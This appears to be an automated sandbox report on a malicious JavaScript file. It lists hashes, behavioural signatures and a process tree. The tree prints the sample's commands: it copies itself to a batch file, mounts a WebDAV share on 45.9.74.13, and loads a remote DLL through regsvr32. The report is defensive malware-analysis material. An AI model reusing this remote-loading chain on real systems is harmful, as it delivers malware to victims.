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Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 17:08

General

  • Target

    288623129288629811.js

  • Size

    5KB

  • MD5

    27ec8012c9813c8ff50ebe971de23bfb

  • SHA1

    8df64433d6f743c2524c7b210a71b2b29b943a81

  • SHA256

    327aad49e2f6cb2b5014d750487a0f3fe5e7102aec23c50407add2ab13b9338e

  • SHA512

    07abfb3fac91b07d9642b32615b2d47a5d2cf6d4f6ccf56da6e985e8e3a2f9635d3ffbbe13aff5c74b0f39da2721f1fde84e26bab839a0e7dcb7d34146367423

  • SSDEEP

    96:iQlr8O3jvfPlMOOOOrTTPOOOD9VvK6IiojFVYjMYValVgkxVX:vIO7fdMOOO8zOOO51KtjFVYjMYAl6kxR

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\288623129288629811.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\288623129288629811.js" "C:\Users\Admin\\hmidau.bat" && "C:\Users\Admin\\hmidau.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1016
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:212
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\419.dll
          3⤵
            PID:3048

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\hmidau.bat

        Filesize

        5KB

        MD5

        27ec8012c9813c8ff50ebe971de23bfb

        SHA1

        8df64433d6f743c2524c7b210a71b2b29b943a81

        SHA256

        327aad49e2f6cb2b5014d750487a0f3fe5e7102aec23c50407add2ab13b9338e

        SHA512

        07abfb3fac91b07d9642b32615b2d47a5d2cf6d4f6ccf56da6e985e8e3a2f9635d3ffbbe13aff5c74b0f39da2721f1fde84e26bab839a0e7dcb7d34146367423